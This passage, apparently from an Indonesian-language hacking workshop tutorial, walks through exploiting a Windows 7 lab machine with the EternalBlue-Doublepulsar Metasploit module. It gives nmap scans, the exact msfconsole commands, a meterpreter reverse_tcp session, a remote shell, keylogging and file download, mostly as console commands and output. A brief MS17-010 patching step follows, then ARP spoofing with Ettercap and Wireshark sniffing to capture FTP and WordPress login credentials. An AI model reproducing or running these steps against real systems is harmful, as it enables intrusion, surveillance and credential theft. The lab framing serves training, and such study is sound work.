  libdmraid1.0.0.rc16 python-pyicu libdebian-installer4 cryptsetup
  libecryptfs0 reiserfsprogs rdate bogl-bterm ettercap ecryptfs-utils
  libdebconfclient0 dmraid
Use 'apt-get autoremove' to remove them.
The following packages will be REMOVED:
  easy-creds jboss-autopwn metasploit
0 upgraded, 0 newly installed, 3 to remove and 0 not upgraded.
After this operation, 0B of additional disk space will be used.
Do you want to continue [Y/n]? y
(Reading database ... 266388 files and directories currently installed.)
Removing easy-creds ...
Removing jboss-autopwn ...
Removing metasploit ...
/opt/metasploit/postgresql/scripts/ctl.sh : postgresql stopped
Processing triggers for desktop-file-utils ...
Processing triggers for python-gmenu ...
Rebuilding /usr/share/applications/desktop.en_US.utf8.cache...
Processing triggers for ureadahead ...
Processing triggers for python-support ...
root@bt:/#
```

Metasploit lama telah berhasil dihapus

Install XAMPP lalu salin file metasploit-latest-linux-installer.run ke c:\xampp\htdocs\msf

Jalankan Apache

```
root@bt:/# ls
bin    dev   initrd.img  media  opt      root     share  tmp  vmlinuz
boot   etc   lib         mnt    pentest  sbin     srv    usr
cdrom  home  lost+found  nis    proc     selinux  sys    var
root@bt:/# cd /home
root@bt:/home# ls
root@bt:/home# wget http://192.168.1.9/msf/metasploit-latest-linux-installer.run

--2017-10-03 06:06:44--  http://192.168.1.9/msf/metasploit-latest-linux-installe
r.run
Connecting to 192.168.1.9:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 153356021 (146M) [text/plain]
Saving to: `metasploit-latest-linux-installer.run'

100%[=====================================>] 153,356,021 43.6M/s   in 3.6s

2017-10-03 06:06:47 (40.1 MB/s) - `metasploit-latest-linux-installer.run' saved
[153356021/153356021]

root@bt:/home#
```

Tarik file metasploit-latest-linux-installer.run ke Backtrack, caranya wget http://ip komputer/msf/metasploit-latest-linux-installer.run

```
root@bt:/home# ls -l
total 149768
-rw-r--r-- 1 root root 153356021 2017-10-03 21:40 metasploit-latest-linux-instal
ler.run
root@bt:/home# chmod 777 metasploit-latest-linux-installer.run
root@bt:/home# ./metasploit-latest-linux-installer.run
```

chmod 777 metasploit-latest-linux-installer.run

Untuk instalasi ketik : ./metasploit-latest-linux-installer.run

Klik Forward

Pilih I accept the agreement lalu klik Forward

Klik Forward

Klik Forward

Klik Forward

Klik Forward

Klik Forward

Klik Forward

Proses instalasi

Tidak perlu dicentang, klik Finisih

Ketik : cd /root lalu ketik `git clone` https://github.com/ElevenPaths/Eternalblue-Doublepulsar-metasploit.git

```
/root
root@bt:~# git clone https://github.com/ElevenPaths/Eternalblue-Double
asploit.git
Initialized empty Git repository in /root/Eternalblue-Doublepulsar-met
it/
remote: Counting objects: 65, done.
remote: Total 65 (delta 0), reused 0 (delta 0), pack-reused 65
Unpacking objects: 100% (65/65), done.
root@bt:~# ls
Desktop  Eternalblue-Doublepulsar-metasploit
root@bt:~#
```

Clone berhasil dilakukan

```
root@bt:~# cd Eternalblue-Doublepulsar-metasploit/
root@bt:~/Eternalblue-Doublepulsar-metasploit# ls
deps  eternalblue_doublepulsar.rb  LICENSE  README.md
root@bt:~/Eternalblue-Doublepulsar-metasploit#
```

Isi folder dari Eternalblue-Doublepulsar-metasploit

```
./apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12.20/modules/ex
ploits/windows/smb/ms08_067_netapi.rb
root@bt:/opt/metasploit# find . / -name ms08_067_netapi.rb
./apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12.20/modules/ex
ploits/windows/smb/ms08_067_netapi.rb
/opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12
.20/modules/exploits/windows/smb/ms08_067_netapi.rb
^C
root@bt:/opt/metasploit# cd /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/ge
ms/metasploit-framework-4.12.20/modules/exploits/windows/smb/
root@bt:/opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framew
ork-4.12.20/modules/exploits/windows/smb# ls
generic_smb_dll_injection.rb  ms06_070_wkssvc.rb
group_policy_startup.rb       ms07_029_msdns_zonename.rb
ipass_pipe_exec.rb            ms08_067_netapi.rb
ms03_049_netapi.rb            ms09_050_smb2_negotiate_func_index.rb
ms04_007_killbill.rb          ms10_046_shortcut_icon_dllloader.rb
ms04_011_lsass.rb             ms10_061_spoolss.rb
ms04_031_netdde.rb            ms15_020_shortcut_icon_dllloader.rb
ms05_039_pnp.rb               netidentity_xtierrpcpipe.rb
ms06_025_rasmans_reg.rb       psexec_psh.rb
ms06_025_rras.rb              psexec.rb
ms06_040_netapi.rb            smb_delivery.rb
ms06_066_nwapi.rb             smb_relay.rb
ms06_066_nwwks.rb             timbuktu_plughntcommand_bof.rb
root@bt:/opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12.20/modul
es/exploits/windows/smb#
```

Mencari tempat menyimpan exploit : find . / -name ms08_067_netapi.rb

```
root@bt:/opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framew
ork-4.12.20/modules/exploits/windows/smb# ls
generic_smb_dll_injection.rb  ms06_070_wkssvc.rb
group_policy_startup.rb       ms07_029_msdns_zonename.rb
ipass_pipe_exec.rb            ms08_0
ms03_049_netapi.rb            ms09_0                    _index.rb
ms04_007_killbill.rb          ms10_0                    ader.rb
ms04_011_lsass.rb             ms10_0
ms04_031_netdde.rb            ms15_0                    ader.rb
ms05_039_pnp.rb               netide
ms06_025_rasmans_reg.rb       psexec
ms06_025_rras.rb              psexec
ms06_040_netapi.rb            smb_de
ms06_066_nwapi.rb             smb_re
ms06_066_nwwks.rb             timbuk                    rb
root@bt:/opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12.20/modul
es/exploits/windows/smb#
```

Open Terminal
Open Tab
Close Window
Copy
Paste
Profiles
✓ Show Menubar
Input Methods

root@bt: ~ | root@bt: /opt/metaspl... | metasploit - File Brow...

Lakukan copy seperti di atas

```
root@bt:/opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12.20/modul
es/exploits/windows/smb# cd /opt
root@bt:/opt# cd /root
root@bt:~# ls
Desktop  Eternalblue-Doublepulsar-metasploit
root@bt:~# cd Eternalblue-Doublepulsar-metasploit/
root@bt:~/Eternalblue-Doublepulsar-metasploit# ls
deps  eternalblue_doublepulsar.rb  LICENSE  README.md
root@bt:~/Eternalblue-Doublepulsar-metasploit# cp -r * /opt/metasploit/apps/pro/vendor/bundle/rub
y/2.3.0/gems/metasploit-framework-4.12.20/modules/exploits/windows/smb
root@bt:~/Eternalblue-Doublepulsar-metasploit#
```

root@bt: ~ | root@bt: ~/Eternalblu... | metasploit - File Brow...

cp -r /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12.20/modules/exploits/windows/smb

```
root@bt:~/Eternalblue-Doublepulsar-metasploit# cd /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3
.0/gems/metasploit-framework-4.12.20/modules/exploits/windows/smb
root@bt:/opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12.20/modul
es/exploits/windows/smb# ls
deps                          ms06_066_nwwks.rb
eternalblue_doublepulsar.rb   ms06_070_wkssvc.rb
generic_smb_dll_injection.rb  ms07_029_msdns_zonename.rb
group_policy_startup.rb       ms08_067_netapi.rb
ipass_pipe_exec.rb            ms09_050_smb2_negotiate_func_index.rb
LICENSE                       ms10_046_shortcut_icon_dllloader.rb
ms03_049_netapi.rb            ms10_061_spoolss.rb
ms04_007_killbill.rb          ms15_020_shortcut_icon_dllloader.rb
ms04_011_lsass.rb             netidentity_xtierrpcpipe.rb
ms04_031_netdde.rb            psexec_psh.rb
ms05_039_pnp.rb               psexec.rb
ms06_025_rasmans_reg.rb       README.md
ms06_025_rras.rb              smb_delivery.rb
ms06_040_netapi.rb            smb_relay.rb
ms06_066_nwapi.rb             timbuktu_plughntcommand_bof.rb
root@bt:/opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12.20/modul
es/exploits/windows/smb#
```

Saat ketik ls lalu enter muncul file eternalblue_doublepulsar.rb

```
root@bt:/opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12.20/modul
es/exploits/windows/smb# nano eternalblue doublepulsar.rb
```

```
register_options([
        OptEnum.new('TARGETARCHITECTURE', [true,'Target Architecture
blue','/root/Eternalblue-Doublepulsar-metasploit/deps/']),
        OptString.new('DOUBLEPULSARPATH',[true,'Path directory of Do
        OptString.new('WINEPATH',[true,'WINE drive_c path','/root/.w
        OptString.new('PROCESSINJECT',[true,'Name of process to inje
```

Ganti huruf besar menjadi huruf kecil pada huruf m pada Path directory of Eternalblue

```
ter_options([
   OptEnum.new('TARGETARCHITECTURE', [true,'Target Architectu
   OptString.new('ETERNALBLUEPATH',[true,'Path directory of E
r','/root/Eternalblue-Doublepulsar-metasploit/deps/']),
   OptString.new('WINEPATH',[true,'WINE drive_c path','/root/
   OptString.new('PROCESSINJECT',[true,'Name of process to in
```

Ganti huruf besar menjadi huruf kecil pada huruf m pada Path directory of Doublepulsar

```
      'License'       => MSF_LICENSE,
                )

                )

        register_options([
                OptEnum.new('TARGETARCHITECTURE', [true,'Target Architecture','x86',['x86','x64
                OptString.new('ETERNALBLUEPATH',[true,'Path directory of Eternalblue','/root/Et
                OptString.new('DOUBLEPULSARPATH',[true,'Path directory of Doublepulsar','/root/
                OptString.new('WINEPATH',[true,'WINE drive_c path','/root/.wine/drive_c/']),
se to lsass.exe for x64),'explorer.exe'])
        ], self.class)

  register_advanced_options([
    OptInt.new('TimeOut',[false,'Timeout for blocking network calls (in seconds)',60]),
    OptString.new('DLLName',[true,'DLL name for Doublepulsar','eternal11.dll'])
  ], self.class)

  end

  def exploit

^G Get Help    ^O WriteOut    ^R Read File    ^Y Prev Page    ^K Cut Text    ^C Cur Pos
^X Exit        ^J Justify     ^W Where Is     ^V Next Page    ^U UnCut Text  ^T To Spell
root@bt: ~    root@bt: /opt/metaspl...    metasploit - File Brow...
```

Ganti menjadi explorer.exe pada tampilan di atas

```
root@bt:~# ls
Desktop  Eternalblue-Doublepulsar-metasploit
root@bt:~# msfconsole
```

Jalankan metasploit, perintahnya msfconsole

```
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED....and...
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!

      =[ metasploit v4.12.20-dev                         ]
+ -- --=[ 1574 exploits - 906 auxiliary - 270 post        ]
+ -- --=[ 455 payloads - 39 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > reload_all
[*] Reloading modules from all module paths...
```

Setelah masuk di Metasploit Framework, ketik reload_all

Target Windows 7 dengan aktif di Work network

Turn on Windows Firewall pada Private dan Public

Ip target

Ketik ifconfig

Diketahui Ip address backtrack 192.168.1.101

Lakukan pendeteksian komputer di jaringan

nmap -sn 192.168.1.1-254

```
MAC Address: 4C:72:B9:B1:06:16 (Unknown)
Nmap scan report for 192.168.1.100
Host is up (0.079s latency).
MAC Address: 2C:4D:54:A8:D8:76 (Unknown)
Nmap scan report for 192.168.1.101
Host is up.
Nmap scan report for 192.168.1.102
Host is up (0.00020s latency).
MAC Address: 08:00:27:A2:41:91 (Cadmus Computer Systems)
Nmap scan report for 192.168.1.103
```

Terdeteksi ip windows 7 yaitu 192.168.1.102

```
root@bt:~# nmap -A 192.168.1.102

Starting Nmap 6.01 ( http://nmap.org ) at 2017-10-03 07:57 WIT
Nmap scan report for 192.168.1.102
Host is up (0.0015s latency).
Not shown: 993 filtered ports
PORT      STATE SERVICE     VERSION
135/tcp   open  msrpc       Microsoft Windows RPC
139/tcp   open  netbios-ssn
445/tcp   open  netbios-ssn
554/tcp   open  rtsp?
2869/tcp  open  http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5357/tcp  open  http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-methods: No Allow or Public header in OPTIONS response (status code 503)
10243/tcp open  http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-methods: No Allow or Public header in OPTIONS response (status code 404)
|_http-title: Not Found
MAC Address: 08:00:27:A2:41:91 (Cadmus Computer Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 o
pen and 1 closed port
```

Ketik nmap -A iptarget, contohnya seperti di atas

Terdeteksi port 445 terbuka

```
Host script results:
|_nbstat: NetBIOS name: WINDOWS7SP1-PC, NetBIOS user: <unknown>, NetBIOS MAC: 08
:00:27:a2:41:91 (Cadmus Computer Systems)
|_smbv2-enabled: Server supports SMBv2 protocol
| smb-security-mode:
|   Account that was used for smb scripts: guest
|   User-level authentication
|   SMB Security: Challenge/response passwords supported
|_  Message signing disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
|   NetBIOS computer name: WINDOWS7SP1-PC
|   Workgroup: WORKGROUP
|_  System time: 2017-10-04 00:01:38 UTC-7

TRACEROUTE
HOP RTT     ADDRESS
1   1.55 ms 192.168.1.102

OS and Service detection performed. Please report any incorrect results at http:
//nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 260.34 seconds
root@bt:~#
```

Target terdeteksi menggunakan Windows 7 SP1

https://www.google.co.id/search?dcr=0&q=windows+7+smb+vulnerability&oq=windows+7+smb+vulnerability&g

Google windows 7 smb vulnerability

All News Videos Images More Settings Tools

Microsoft Security Bulletin MS17-010 - Critical
https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
Windows SMB Remote Code Execution Vulnerability – CVE-2017-0143 · Windows SMB ... Windows 7 for x64-based Systems Service Pack 1
KB4012212 · KB4012215 · KB4012598 · KB4012213

MS17-010: Security update for Windows SMB Server: March 14, 2017
https://support.microsoft.com/en-us/help/4013389/title
Resolves a vulnerability in Windows that could allow remote code execution if an ... 4012212 March 2017 Security Only Quality Update for Windows 7 SP1 and ...

Microsoft Windows 7 : List of security vulnerabilities - CVE Details
https://www.cvedetails.com/vulnerability-list/vendor.../Microsoft-Windows-7.html
Security vulnerabilities of Microsoft Windows 7 : List of all related CVE security ... requests to the server, aka "Windows SMB Denial of Service Vulnerability".

Microsoft Windows Windows 7/2008 R2 (x64) - 'EternalBlue' SMB ...
https://www.exploit-db.com/exploits/42031/
May 17, 2017 - #!/usr/bin/python from impacket import smb from struct import pack import sys import socket "" EternalBlue exploit for Windows 7/2008 by ...

Microsoft Windows Windows 7/8.1/2008 R2/2012 R2 ... - Exploit-DB
https://www.exploit-db.com/exploits/42315/
Jul 11, 2017 - #!/usr/bin/python from impacket import smb, smbconnection from ... So this exploit should never crash a target against Windows 7 and later.

CVE-2017-0147 MS17-010 EternalBlue SMB Remote Windows ...
https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue
MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption. This module is a port of the Equation Group ETERNALBLUE exploit, part of the FuzzBunch toolkit released by ... Windows 7 and

Contoh mencari bug smb windows 7 di google

```
       =[ metasploit v4.12.20-dev                         ]
+ -- --=[ 1574 exploits - 906 auxiliary - 270 post        ]
+ -- --=[ 455 payloads - 39 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > search eternalblue

Matching Modules
================

   Name                                          Disclosure Date  Rank    Description
   ----                                          ---------------  ----    -----------
   exploit/windows/smb/eternalblue_doublepulsar                   normal  EternalBlue

msf >
```

search eternalblue

```
Matching Modules
================

   Name                                          Disclosure Date  Rank    Description
   ----                                          ---------------  ----    -----------
   exploit/windows/smb/eternalblue_doublepulsar                   normal  EternalBlue

msf > use exploit/windows/smb/eternalblue_doublepulsar
msf exploit(eternalblue_doublepulsar) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows XP (all services pack) (x86) (x64)
   1   Windows Server 2003 SP0 (x86)
   2   Windows Server 2003 SP1/SP2 (x86)
   3   Windows Server 2003 (x64)
   4   Windows Vista (x86)
   5   Windows Vista (x64)
   6   Windows Server 2008 (x86)
   7   Windows Server 2008 R2 (x86) (x64)
   8   Windows 7 (all services pack) (x86) (x64)

msf exploit(eternalblue_doublepulsar) >
```

Untuk menggunakan exploit eternalblue maka ketik :

use exploit/windows/smb/eternalblue_doublepulsar

Untuk menampil target yang ingin di set ketik : show targets

Hasilnya seperti di atas

```
Matching Modules
================

   Name                                          Disclosure Date  Rank    Desc
   ----                                          ---------------  ----    ----
   exploit/windows/smb/eternalblue_doublepulsar                   normal  Eter


msf > use exploit/windows/smb/eternalblue_doublepulsar
msf exploit(eternalblue_doublepulsar) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows XP (all services pack) (x86) (x64)
   1   Windows Server 2003 SP0 (x86)
   2   Windows Server 2003 SP1/SP2 (x86)
   3   Windows Server 2003 (x64)
   4   Windows Vista (x86)
   5   Windows Vista (x64)
   6   Windows Server 2008 (x86)
   7   Windows Server 2008 R2 (x86) (x64)
   8   Windows 7 (all services pack) (x86) (x64)


msf exploit(eternalblue_doublepulsar) > set target 8
target => 8
msf exploit(eternalblue_doublepulsar) >
```

Karena targetnya adalah Windows 7 maka ketik set target 8

```
msf > use exploit/windows/smb/eternalblue_doublepulsar
msf exploit(eternalblue_doublepulsar) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows XP (all services pack) (x86) (x64)
   1   Windows Server 2003 SP0 (x86)
   2   Windows Server 2003 SP1/SP2 (x86)
   3   Windows Server 2003 (x64)
   4   Windows Vista (x86)
   5   Windows Vista (x64)
   6   Windows Server 2008 (x86)
   7   Windows Server 2008 R2 (x86) (x64)
   8   Windows 7 (all services pack) (x86) (x64)


msf exploit(eternalblue_doublepulsar) > set target 8
target => 8
msf exploit(eternalblue_doublepulsar) > show payloads
```

Untuk menampilkan daftar payload ketik : show payloads

```
Applications  Places  System                                   Tue Oct 3, 8:17
root@bt: ~
File  Edit  View  Terminal  Help
er (Reflective Injection), Reverse TCP Stager (IPv6)
   windows/meterpreter/reverse_nonx_tcp                          normal  Windows Mete
er (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   windows/meterpreter/reverse_ord_tcp                           normal  Windows Mete
er (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   windows/meterpreter/reverse_tcp                               normal  Windows Mete
er (Reflective Injection), Reverse TCP Stager
   windows/meterpreter/reverse_tcp_allports                      normal  Windows Mete
er (Reflective Injection), Reverse All-Port TCP Stager
   windows/meterpreter/reverse_tcp_dns                           normal  Windows Mete
er (Reflective Injection), Reverse TCP Stager (DNS)
   windows/meterpreter/reverse_tcp_rc4                           normal  Windows Mete
er (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   windows/meterpreter/reverse_tcp_rc4_dns                       normal  Windows Mete
er (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   windows/meterpreter/reverse_tcp_uuid                          normal  Windows Mete
er (Reflective Injection), Reverse TCP Stager with UUID Support
   windows/meterpreter/reverse_winhttp                           normal  Windows Mete
er (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
   windows/meterpreter/reverse_winhttps                          normal  Windows Mete
er (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
   windows/meterpreter_bind_tcp                                  normal  Windows Mete
```

Pilih seperti di atas yaitu windows/meterpreter/reverse_tcp

```
msf exploit(eternalblue_doublepulsar) >
msf exploit(eternalblue_doublepulsar) >
msf exploit(eternalblue_doublepulsar) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp
msf exploit(eternalblue_doublepulsar) >
```

Set Payload :

set payload windows/meterpreter/reverse_tcp

```
File  Edit  View  Terminal  Help
msf exploit(eternalblue_doublepulsar) >
msf exploit(eternalblue_doublepulsar) >
msf exploit(eternalblue_doublepulsar) > set rhost 192.168.1.102
rhost => 192.168.1.102
msf exploit(eternalblue_doublepulsar) > ifconfig
[*] exec: ifconfig

eth0      Link encap:Ethernet  HWaddr 08:00:27:d9:04:9b
          inet addr:192.168.1.101  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fed9:49b/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:5755 errors:0 dropped:0 overruns:0 frame:0
          TX packets:6554 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:3622952 (3.6 MB)  TX bytes:463068 (463.0 KB)
          Interrupt:10 Base address:0x2020

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:658674 errors:0 dropped:0 overruns:0 frame:0
          TX packets:658674 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:137150902 (137.1 MB)  TX bytes:137150902 (137.1 MB)

msf exploit(eternalblue_doublepulsar) > set lhost 192.168.1.101
lhost => 192.168.1.101
msf exploit(eternalblue_doublepulsar) >
```

set rhost 192.168.1.102 (ip target)

set lhost 192.168.1.101 (ip backtrack)

```
msf exploit(eternalblue_doublepulsar) > exploit

[*] Started reverse TCP handler on 192.168.1.101:4444
[*] 192.168.1.102:445 - Generating Eternalblue XML data
[*] 192.168.1.102:445 - Generating Doublepulsar XML data
[*] 192.168.1.102:445 - Generating payload DLL for Doublepulsar
[*] 192.168.1.102:445 - Writing DLL in /root/.wine/drive_c/eternal11.dll
[*] 192.168.1.102:445 - Launching Eternalblue...
fixme:system:SetProcessDPIAware stub!
fixme:dwmapi:DwmIsCompositionEnabled 0x33cfdc
fixme:file:MoveFileWithProgressW MOVEFILE_WRITE_THROUGH unimplemented
fixme:advapi:SetNamedSecurityInfoW L"C:\\windows\\system32\\gecko\\1.0.0\\wine_g
ecko\\components\\xpti.dat" 1 536870916 (nil) (nil) 0x1ed52c (nil)
fixme:iphlpapi:NotifyAddrChange (Handle 0xa62e8d8, overlapped 0xa62e8e0): stub
fixme:file:MoveFileWithProgressW MOVEFILE_WRITE_THROUGH unimplemented
fixme:advapi:SetNamedSecurityInfoW L"C:\\windows\\system32\\gecko\\1.0.0\\wine_g
ecko\\components\\compreg.dat" 1 536870916 (nil) (nil) 0x1d552ec (nil)
wine: configuration in '/root/.wine' has been updated.

[+] 192.168.1.102:445 - Pwned! Eternalblue success!
[*] 192.168.1.102:445 - Launching Doublepulsar...
[*] Sending stage (957999 bytes) to 192.168.1.102
[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.102:49172) at
2017-10-03 10:01:54 +0700
[+] 192.168.1.102:445 - Remote code executed... 3... 2... 1...

meterpreter >
meterpreter >
```

Ketik exploit lalu enter, hasilnya seperti di atas yaitu berhasil masuk

```
[+] 192.168.1.102:445 - Remote code executed... 3... 2... 1...

meterpreter >
meterpreter > shell
Process 3544 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::59af:7676:ff2:61ba%10
   IPv4 Address. . . . . . . . . . . : 192.168.1.102
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.1.1

Tunnel adapter isatap.{E7465343-149D-4B8C-9633-31E5DB3D5BC0}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
```

Di meterpreter, ketik shell lalu enter untuk mengakses cmd target

```
meterpreter > help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    help                      Help menu
```

Untuk mengetahui perintah-perintah meterpreter ketik help lalu enter

```
meterpreter > keyscan_start
Starting the keystroke sniffer...
```

Untuk memasang keylogger pada target ketik keyscan_start lalu enter

Di target Windows 7, ketik 12345 di browser

```
meterpreter > keyscan_dump
Dumping captured keystrokes...
12345
meterpreter >
```

Hasilnya saat attacker ketik keyscan_dump di meterpreter maka attacker akan mengetahui apa yang diketik oleh korban

```
meterpreter > ls
Listing: C:\
============

Mode              Size        Type  Last modified              Name
----              ----        ----  -------------              ----
40777/rwxrwxrwx   0           dir   2013-01-31 16:13:00 +0700  $Recycle.Bin
40777/rwxrwxrwx   0           dir   2014-11-16 22:11:06 +0700  ALLMediaServer
40777/rwxrwxrwx   0           dir   2009-07-14 11:53:55 +0700  Documents and Settings
100444/r--r--r--  0           fil   2014-11-16 21:44:35 +0700  IO.SYS
100444/r--r--r--  0           fil   2014-11-16 21:44:35 +0700  MSDOS.SYS
40777/rwxrwxrwx   0           dir   2009-07-14 09:37:05 +0700  PerfLogs
100666/rw-rw-rw-  16336664    fil   2013-01-31 16:59:13 +0700  Persi0.sys
40555/r-xr-xr-x   0           dir   2014-11-17 05:34:21 +0700  Program Files
40777/rwxrwxrwx   0           dir   2009-07-14 11:53:55 +0700  ProgramData
40777/rwxrwxrwx   0           dir   2014-11-16 21:54:35 +0700  Python27
40777/rwxrwxrwx   0           dir   2013-01-31 16:06:39 +0700  Recovery
40777/rwxrwxrwx   0           dir   2017-03-26 00:01:06 +0700  System Volume Information
40555/r-xr-xr-x   0           dir   2013-01-31 16:12:35 +0700  Users
40777/rwxrwxrwx   0           dir   2017-07-27 05:17:55 +0700  Windows
100777/rwxrwxrwx  24          fil   2009-06-11 04:42:20 +0700  autoexec.bat
100666/rw-rw-rw-  10          fil   2009-06-11 04:42:20 +0700  config.sys
```

Contoh mengambil file MSDOS.SYS dari target

```
meterpreter > download MSDOS.SYS /home
[*] downloading: MSDOS.SYS -> /home/MSDOS.SYS
[*] download   : MSDOS.SYS -> /home/MSDOS.SYS
meterpreter >
```

Ketik : download MSDOS.SYS /home lalu enter

```
root@bt:/home# ls
MSDOS.SYS
root@bt:/home#
```

Lalu ketik ls di /home, hasilnya seperti di atas

Pengamanan Windows 7 terhadap serangan eternalblue dengan update windows ms17-10

https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

Karena target menggunakan Windows 7 32 bit SP 1 maka sesuaikan dengan file update nya

Download dengan cara seperti pada gambar

Jalankan file update

Pilih Yes

Proses instalasi

Proses update

Hasil dari pengamanan dengan update maka Windows 7 sudah tidak bisa dihack dengan exploit yang memanfaatkan celah dari ms17-10

ARP Spoofing dengan Ettercap dengan Backtrack 5 R3

Ketik ettercap -G lalu enter

Klik Sniff lalu pilih Unified sniffing

Pilih eth0 lalu klik OK

Klik Hosts lalu pilih Scan for Hosts

Klik Hosts lalu pilih Hosts list

IP Address target adalah 192.168.1.58

IP Adddress router (IP Address Gateway)

Pili IP Address Gateway lalu klik Add to Target 1 (Disesuaikan dengan router saat workshop)

Klik IP Address target lalu pilih Add to Target 2

Klik Targets lalu pilih Current Targets

ettercap 0.7.4.1
Start Targets Hosts View Mitm Filters Logging Plugins Help
Host List
Targets
Target 1
192.168.1.1
Target 2
192.168.1.58
Delete
Add
Delete
Add
Scanning the whole netmask for 255 hosts...
6 hosts added to the hosts list...
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
7 hosts added to the hosts list...
Host 192.168.1.1 added to TARGET1
Host 192.168.1.58 added to TARGET2

ettercap 0.7.4.1
Start Targets Hosts View Mitm Filters Logging Plugins Help
Arp poisoning...
Icmp redirect...
Port stealing...
Dhcp spoofing...
Stop mitm attack(s)
Host List
Targets
Target 1
192.168.1.1
58
Delete
Add
Delete
Add
Scanning the whole netmask for 255 hosts...
6 hosts added to the hosts list...
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
7 hosts added to the hosts list...
Host 192.168.1.1 added to TARGET1
Host 192.168.1.58 added to TARGET2

Klik MITM lalu pilih Arp Poisoning

Centang pada pilihan Sniff remote Connections lalu klik OK

Klik Plugins lalu pilih manage the plugins

c

Klik 2x pada remote browser seperti di atas

Klik Start lalu pilih Start Sniffing

Kondisi ARP Table pada Windows 7

Target melakukan koneksi ke FTP Server dengan alamat ftplive.com

Hasilnya di Ettercap muncul username dan passwordnya

Sniffing pada protokol HTTP

Ketik wireshark lalu enter

Pilih eth0 lalu klik Start

Masukkan alamat seperti di atas

Login

MIsal username admin, password cobacoba

Di wireshark pada GET /wp-login.php, klik kanan, lalu pilih Follow TCP Scream

Follow TCP Stream

Stream Content

```
image/pjpeg, application/x-ms-xbap, */*
Referer: http://blog.xcode.or.id/wp-login.php
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/
SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Medi
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: blog.xcode.or.id
Content-Length: 108
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: __cfduid=dc36d83b7923931eeedfd0d6fab51c72e1507684378; wordpress
